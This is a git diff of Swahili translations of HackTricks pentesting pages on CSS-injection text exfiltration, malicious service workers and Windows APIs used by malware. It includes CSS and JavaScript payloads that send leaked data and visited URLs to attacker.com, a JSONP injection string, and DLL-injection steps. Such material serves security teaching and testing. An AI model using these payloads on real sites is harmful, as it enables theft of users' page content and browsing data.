2. **Ugunduzi wa Mabadiliko ya Upana**:
|
||||
- CSS hutumiwa kuhakikisha kuwa maandishi hayapindi (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
|
||||
- CSS hutumiwa kuhakikisha kuwa maandishi hayajipindi (`white-space: nowrap`) na kubinafsisha mtindo wa scrollbar.
|
||||
- Kuonekana kwa scrollbar ya usawa, iliyopambwa kwa njia tofauti, hufanya kama kiashiria (oracle) kwamba ligature maalum, na hivyo mfululizo maalum wa wahusika, upo katika maandishi.
|
||||
- CSS inayohusika:
|
||||
```css
|
||||
|
@ -242,24 +244,24 @@ mwili::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak)
|
|||
3. **Mchakato wa Kutumia Udukuzi**:
|
||||
- **Hatua 1**: Fonti zinaundwa kwa jozi za wahusika wenye upana mkubwa.
|
||||
- **Hatua 2**: Mbinu ya kudanganya kwa kutumia scrollbar hutumiwa kugundua wakati glyph yenye upana mkubwa (ligature kwa jozi ya wahusika) inapotolewa, ikionyesha uwepo wa mfululizo wa wahusika.
|
||||
- **Hatua 3**: Baada ya kugundua ligature, glyphs mpya zinazoonyesha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika wa awali au wafuatao.
|
||||
- **Hatua 3**: Baada ya kugundua ligature, glyphs mpya zinazoonyesha mfululizo wa wahusika watatu zinaundwa, zikiingiza jozi iliyogunduliwa na kuongeza wahusika kabla au baada yake.
|
||||
- **Hatua 4**: Ugunduzi wa ligature ya wahusika watatu unafanywa.
|
||||
- **Hatua 5**: Mchakato unarudia, ukifunua taratibu maandishi yote.
|
||||
|
||||
4. **Uboreshaji**:
|
||||
- Mbinu ya sasa ya kuanzisha kutumia `<meta refresh=...` sio bora.
|
||||
- Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS ya `@import`, ikiboresha utendaji wa udukuzi.
|
||||
- Njia yenye ufanisi zaidi inaweza kuhusisha mbinu ya CSS ya `@import`, ikiboresha utendaji wa udukuzi.
|
||||
|
||||
### Udukuzi wa kipande cha maandishi (II): kuvuja kwa charset na fonti ya chaguo-msingi (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Kumbukumbu:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Mbinu hii ilizinduliwa katika [**mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Charset inayotumiwa katika kipande cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizosanikishwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.
|
||||
Mbinu hii ilizinduliwa katika [**mjadala wa Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Charset inayotumiwa katika kipande cha maandishi inaweza kuvuja **kwa kutumia fonti za chaguo-msingi** zilizowekwa kwenye kivinjari: hakuna fonti za nje -au za kibinafsi- zinazohitajika.
|
||||
|
||||
Mbinu hii inahusisha kutumia uhuishaji kuongeza kwa hatua kwa hatua upana wa `div`, kuruhusu wahusika mmoja kwa wakati kusonga kutoka sehemu ya 'suffix' ya maandishi kwenda sehemu ya 'prefix'. Mchakato huu unagawa kwa ufanisi maandishi katika sehemu mbili:
|
||||
|
||||
1. **Prefix**: Mstari wa awali.
|
||||
2. **Suffix**: Mstari unaofuata.
|
||||
2. **Suffix**: Mstari wa baadaye.
|
||||
|
||||
Hatua za mpito za wahusika zitaonekana kama ifuatavyo:
|
||||
|
||||
|
@ -274,14 +276,13 @@ B
|
|||
|
||||
**CADB**
|
||||
|
||||
|
||||
Wakati wa mpito huu, **mtego wa unicode-range** unatumika kutambua kila wahusika mpya wanapojiunga na prefix. Hii inafanikishwa kwa kubadilisha fonti kuwa Comic Sans, ambayo ni refu kuliko fonti ya chaguo-msingi, hivyo kusababisha scrollbar ya wima. Kuonekana kwa scrollbar hii kunafunua kwa njia isiyo ya moja kwa moja uwepo wa wahusika wapya katika prefix.
|
||||
|
||||
Ingawa mbinu hii inaruhusu ugunduzi wa wahusika wa kipekee wanapoonekana, haitoi maelezo ya wahusika gani wanarudiwa, bali inaonyesha tu kwamba kurudiwa kumetokea.
|
||||
Ingawa mbinu hii inaruhusu ugunduzi wa wahusika wa kipekee wanapoonekana, haifafanui ni wahusika gani wanarudiwa, tu kwamba kurudi kumetokea.
|
||||
|
||||
{% hint style="info" %}
|
||||
Kimsingi, **unicode-range hutumiwa kutambua wahusika**, lakini kwa kuwa hatutaki kupakia fonti za nje, tunahitaji kupata njia nyingine.\
|
||||
Wakati **wahusika** unapopatikana, unapewa **fonti ya Comic Sans iliyosanikishwa mapema**, ambayo **inafanya** wahusika **kuwa wakubwa** na **kuzindua scrollbar** ambayo ita**vujisha wahusika uliopatikana**.
|
||||
Wakati **wahusika** unapopatikana, unapewa **fonti ya Comic Sans iliyowekwa tayari**, ambayo **inafanya** wahusika **kuwa wakubwa** na **kuzindua scrollbar** ambayo ita**vujisha wahusika uliopatikana**.
|
||||
{% endhint %}
|
||||
|
||||
Angalia nambari iliyochimbuliwa kutoka kwa PoC:
|
||||
|
@ -410,9 +411,9 @@ div::-webkit-scrollbar:vertical {
|
|||
background: bluu var(--leak);
|
||||
}
|
||||
```
|
||||
### Kuvuja kwa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali zilizo nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Uvujaji wa kipengele cha maandishi (III): kuvuja kwa seti ya herufi kwa kutumia muda wa cache (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Marejeo:** Hii imetajwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Marejeleo:** Hii inatajwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Katika kesi hii, tunaweza kujaribu kuvuja ikiwa herufi iko katika maandishi kwa kupakia font bandia kutoka asili ile ile:
|
||||
```css
|
||||
|
@ -422,15 +423,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
|||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
Ikiwa kuna mechi, **font itapakiwa kutoka `/static/bootstrap.min.css?q=1`**. Ingawa haitapakiwa kwa mafanikio, **kivinjari kinapaswa kukihifadhi**, na hata kama hakuna hifadhi, kuna **muhuri wa 304 usiobadilishwa**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
|
||||
If there is a match, the **font will be loaded from `/static/bootstrap.min.css?q=1`**. Ingawa haitapakia kwa mafanikio, **kivinjari kinapaswa kukisakinisha**, na hata kama hakuna cache, kuna **makanismo ya 304 not modified**, hivyo **jibu linapaswa kuwa haraka** kuliko mambo mengine.
|
||||
|
||||
Hata hivyo, ikiwa tofauti ya wakati kati ya jibu lililohifadhiwa na lile lisililohifadhiwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Walakini, baada ya majaribio, niligundua kuwa shida ya kwanza ni kwamba kasi si tofauti sana, na shida ya pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kweli kabisa.
|
||||
Hata hivyo, ikiwa tofauti ya wakati wa jibu lililosakinishwa na lile lisilosakinishwa si kubwa vya kutosha, hii haitakuwa na manufaa. Kwa mfano, mwandishi alitaja: Walakini, baada ya majaribio, niligundua kuwa tatizo la kwanza ni kwamba kasi si tofauti sana, na tatizo la pili ni kwamba boti hutumia bendera ya `disk-cache-size=1`, ambayo ni ya kufikiria kweli.
|
||||
|
||||
### Uchimbaji wa nodi ya maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Udukuzi wa kifungu cha maandishi (III): kuvuja kwa seti ya herufi kwa kupima kupakia mamia ya "fonti" za ndani (bila kuhitaji mali za nje) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Marejeo:** Hii imeelezwa kama [suluhisho lisilofanikiwa katika andiko hili](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
|
||||
Katika kesi hii unaweza kuonyesha **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati mechi inapotokea. Kwa njia hii unaweza **kupima muda** unaochukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
|
||||
Katika kesi hii unaweza kuashiria **CSS kupakia mamia ya fonti bandia** kutoka asili ile ile wakati kuna mechi inatokea. Kwa njia hii unaweza **kupima muda** unaochukua na kugundua ikiwa herufi inaonekana au la kwa kitu kama:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
|
@ -447,7 +448,7 @@ browser.get(url)
|
|||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
Kwa hivyo, ikiwa herufi hazifanani, wakati wa kujibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Walakini, ikiwa kuna mechi ya herufi, maombi mengi yatapelekwa kuchukua herufi, ikisababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea jibu. Kwa hivyo, muda wa kujibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna mechi ya herufi.
|
||||
Ikiwa herufi hazilingani, wakati wa majibu unapotembelea bot inatarajiwa kuwa takriban sekunde 30. Hata hivyo, ikiwa kuna kulinganisha herufi, maombi mengi yatapelekwa kuchukua herufi, kusababisha mtandao kuwa na shughuli endelevu. Kama matokeo, itachukua muda mrefu kutimiza hali ya kusimamisha na kupokea majibu. Kwa hivyo, muda wa majibu unaweza kutumika kama kiashiria cha kubaini ikiwa kuna kulinganisha herufi.
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -458,7 +459,7 @@ Kwa hivyo, ikiwa herufi hazifanani, wakati wa kujibu unapotembelea bot inataraji
|
|||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionyeshwa kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Je, unafanya kazi katika **kampuni ya usalama wa mtandao**? Unataka kuona **kampuni yako ikionekana kwenye HackTricks**? au unataka kupata upatikanaji wa **toleo jipya la PEASS au kupakua HackTricks kwa PDF**? Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au **kikundi cha telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kwa Bidii**
|
||||
**Kikundi cha Usalama cha Kujitahidi**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -22,7 +22,7 @@
|
|||
|
||||
## Taarifa Msingi
|
||||
|
||||
**Mfanyakazi wa huduma** ni script inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au mwingiliano wa mtumiaji, hivyo kuimarisha uwezo wa **kufanya kazi nje ya mtandao na usindikaji wa nyuma**. Maelezo kamili kuhusu wafanyakazi wa huduma yanaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti wa mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
|
||||
**Mfanyakazi wa huduma** ni skripti inayotekelezwa na kivinjari chako nyuma, tofauti na ukurasa wowote wa wavuti, ikiruhusu vipengele visivyohitaji ukurasa wa wavuti au ushirikiano wa mtumiaji, hivyo kuboresha uwezo wa **kuprocessi nje ya mtandao na nyuma**. Taarifa kamili kuhusu wafanyakazi wa huduma inaweza kupatikana [hapa](https://developers.google.com/web/fundamentals/primers/service-workers). Kwa kudukua wafanyakazi wa huduma ndani ya kikoa dhaifu cha wavuti, wadukuzi wanaweza kupata udhibiti juu ya mwingiliano wa mwathiriwa na kurasa zote ndani ya kikoa hicho.
|
||||
|
||||
### Kuangalia Wafanyakazi wa Huduma Waliopo
|
||||
|
||||
|
@ -30,16 +30,16 @@ Wafanyakazi wa huduma waliopo wanaweza kuangaliwa katika sehemu ya **Wafanyakazi
|
|||
|
||||
### Arifa za Kupiga
|
||||
|
||||
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila mwingiliano moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuleta tishio endelevu. Kinyume chake, kutoa ruhusa kunaweza kuongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza udanganyifu wa uwezekano.
|
||||
**Ruhusa za arifa za kupiga** zinaathiri moja kwa moja uwezo wa **mfanyakazi wa huduma** kuwasiliana na seva bila ushirikiano wa moja kwa moja wa mtumiaji. Ikiwa ruhusa zimekataliwa, inapunguza uwezo wa mfanyakazi wa huduma kuwa tishio endelevu. Kinyume chake, kutoa ruhusa kunaweza kuongeza hatari za usalama kwa kuruhusu kupokea na kutekeleza mbinu za udukuzi.
|
||||
|
||||
## Shambulio la Kuunda Mfanyakazi wa Huduma
|
||||
|
||||
Ili kutumia udhaifu huu unahitaji kupata:
|
||||
|
||||
* Njia ya **kupakia faili za JS za kupendelea** kwenye seva na **XSS ya kupakia mfanyakazi wa huduma** wa faili ya JS iliyopakiwa
|
||||
* **Ombi dhaifu la JSONP** ambapo unaweza **kudhibiti matokeo (na msimbo wa JS wa kupendelea)** na **XSS** ya **kupakia JSONP na mzigo** ambao uta **pakia mfanyakazi wa huduma mbaya**.
|
||||
* **Ombi dhaifu la JSONP** ambapo unaweza **kudhibiti matokeo (na msimbo wa JS wa kupendelea)** na **XSS** ya **kupakia JSONP na mzigo** ambao uta **paki mfanyakazi wa huduma mbaya**.
|
||||
|
||||
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha mfanyakazi wa huduma mpya** ambao utasikiliza tukio la `fetch` na **kutuma kwenye seva ya wadukuzi kila URL iliyopakiwa** (hii ni msimbo utakaohitaji **kupakia** kwenye **seva** au kupakia kupitia majibu ya **JSONP dhaifu**):
|
||||
Katika mfano ufuatao nitawasilisha msimbo wa **kujiandikisha mfanyakazi wa huduma mpya** ambao utasikiliza tukio la `fetch` na **kutuma kwenye seva ya wadukuzi kila URL iliyopakiwa** (hii ni msimbo utakaohitaji **kupakia** kwenye **seva** au kupakia kupitia **jibu dhaifu la JSONP**):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
|
@ -64,13 +64,13 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhurika unapaswa kuweka thamani ndani ya `var sw`. Kwa mfano:
|
||||
Katika kesi ya kutumia mwisho wa JSONP unaoweza kudhuriwa unapaswa kuweka thamani ndani ya `var sw`. Kwa mfano:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
Kuna **C2** iliyotengwa kwa **utumiaji wa Wafanyikazi wa Huduma** inayoitwa [**Shadow Workers**](https://shadow-workers.github.io) ambayo itakuwa na manufaa sana kwa kutumia udhaifu huu.
|
||||
|
||||
**Mwongozo wa cache wa masaa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Skripti ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
|
||||
**Mwongozo wa kache wa saa 24** unapunguza maisha ya **wafanyikazi wa huduma (SW)** wenye nia mbaya au walioathiriwa hadi masaa 24 baada ya kurekebisha udhaifu wa XSS, ikizingatiwa hali ya mteja mtandaoni. Ili kupunguza udhaifu, waendeshaji wa tovuti wanaweza kupunguza Muda wa Kuishi wa Skripti ya SW (TTL). Waendelezaji pia wanashauriwa kuunda [**kitufe cha kuzima wafanyikazi wa huduma**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) kwa kuzima haraka.
|
||||
|
||||
## Kutumia `importScripts` katika SW kupitia DOM Clobbering
|
||||
|
||||
|
@ -112,7 +112,7 @@ Kwa mfano wa hili angalia kiungo cha marejeo.
|
|||
|
||||
**Kikundi cha Usalama cha Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -124,6 +124,6 @@ Kwa mfano wa hili angalia kiungo cha marejeo.
|
|||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Jiunge na** [**💬**](https://emojipedia.org/speech-balloon/) [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **nifuata** kwenye **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwenye** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**repo ya hacktricks**](https://github.com/carlospolop/hacktricks) **na** [**repo ya hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# API Kawaida Zinazotumiwa katika Programu hasidi
|
||||
# API Kawaida Zinazotumiwa katika Programu Hasidi
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,17 +6,17 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
**Kikundi cha Usalama cha Kujaribu Kwa Bidii**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -24,28 +24,28 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
## Kijumla
|
||||
|
||||
### Uunganishaji
|
||||
### Mtandao
|
||||
|
||||
| Sockets za Moja kwa Moja | Sockets za WinAPI |
|
||||
| ------------------------ | ----------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
| listen() | listen() |
|
||||
| accept() | accept() |
|
||||
| connect() | connect() |
|
||||
| read()/recv() | recv() |
|
||||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
| Sockets za Raw | Sockets za WinAPI |
|
||||
| -------------- | ----------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
| listen() | listen() |
|
||||
| accept() | accept() |
|
||||
| connect() | connect() |
|
||||
| read()/recv() | recv() |
|
||||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
|
||||
### Uthabiti
|
||||
|
||||
| Usajili | Faili | Huduma |
|
||||
| ------------------ | ------------- | ---------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
| Usajili | Faili | Huduma |
|
||||
| --------------- | -------------- | --------------------------- |
|
||||
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
|
||||
| RegOpenKeyEx() | CopyFile() | CreateService() |
|
||||
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
|
||||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
|
||||
### Ufichaji
|
||||
|
||||
|
@ -60,14 +60,14 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
### Kuzuia Uchambuzi/VM
|
||||
|
||||
| Jina la Kazi | Maagizo ya Mkusanyiko |
|
||||
| -------------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Angalia ikiwa mchakato unaendeshwa] | |
|
||||
| CreateFileW/A \[Angalia ikiwa faili ipo] | |
|
||||
| Jina la Kazi | Maelekezo ya Mkusanyiko |
|
||||
| -------------------------------------------------------- | ----------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
| GlobalMemoryStatusEx() | |
|
||||
| GetVersion() | |
|
||||
| CreateToolhelp32Snapshot \[Angalia ikiwa mchakato unakimbia] | |
|
||||
| CreateFileW/A \[Angalia ikiwa faili ipo] | |
|
||||
|
||||
### Ufichaji
|
||||
|
||||
|
@ -75,10 +75,10 @@ Njia nyingine za kusaidia HackTricks:
|
|||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | Alloc kumbukumbu (pakiti) |
|
||||
| VirtualProtect | Badilisha ruhusa ya kumbukumbu (pakiti inayotoa ruhusa ya utekelezaji kwa sehemu) |
|
||||
| ReadProcessMemory | Uingizaji kwenye michakato ya nje |
|
||||
| WriteProcessMemoryA/W | Uingizaji kwenye michakato ya nje |
|
||||
| ReadProcessMemory | Uingizaji kwenye michakato ya nje |
|
||||
| WriteProcessMemoryA/W | Uingizaji kwenye michakato ya nje |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | Uingizaji wa DLL/Mchakato... |
|
||||
| CreateRemoteThread | Uingizaji wa DLL/Mchakato... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
|
@ -86,7 +86,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
### Utekelezaji
|
||||
|
||||
| Jina la Kazi |
|
||||
| --------------- |
|
||||
| -------------- |
|
||||
| CreateProcessA/W |
|
||||
| ShellExecute |
|
||||
| WinExec |
|
||||
|
@ -97,10 +97,10 @@ Njia nyingine za kusaidia HackTricks:
|
|||
|
||||
* GetAsyncKeyState() -- Kurekodi funguo
|
||||
* SetWindowsHookEx -- Kurekodi funguo
|
||||
* GetForeGroundWindow -- Pata jina la dirisha linaloendeshwa (au tovuti kutoka kwa kivinjari)
|
||||
* GetForeGroundWindow -- Pata jina la dirisha linaloendesha (au tovuti kutoka kwa kivinjari)
|
||||
* LoadLibrary() -- Ingiza maktaba
|
||||
* GetProcAddress() -- Ingiza maktaba
|
||||
* CreateToolhelp32Snapshot() -- Orodhesha michakato inayoendeshwa
|
||||
* CreateToolhelp32Snapshot() -- Orodhesha michakato inayoendesha
|
||||
* GetDC() -- Piga skrini
|
||||
* BitBlt() -- Piga skrini
|
||||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Fikia Mtandao
|
||||
|
@ -132,7 +132,7 @@ Pata mnyororo kutoka kwa mchakato na ufanye upakie DLL hasidi
|
|||
2. Fungua mnyororo: OpenThread
|
||||
3. Sitishe mnyororo: SuspendThread
|
||||
4. Andika njia ya DLL hasidi ndani ya mchakato wa mwathiriwa: VirtualAllocEx, WriteProcessMemory
|
||||
5. Rudisha mnyororo wa kuanzisha maktaba: ResumeThread
|
||||
5. Rejesha mnyororo unao pakia maktaba: ResumeThread
|
||||
|
||||
### Uingizaji wa PE
|
||||
|
||||
|
@ -150,11 +150,22 @@ Programu hasidi itafuta msimbo halali kutoka kumbukumbu ya mchakato na kupakia f
|
|||
## Kufunga
|
||||
|
||||
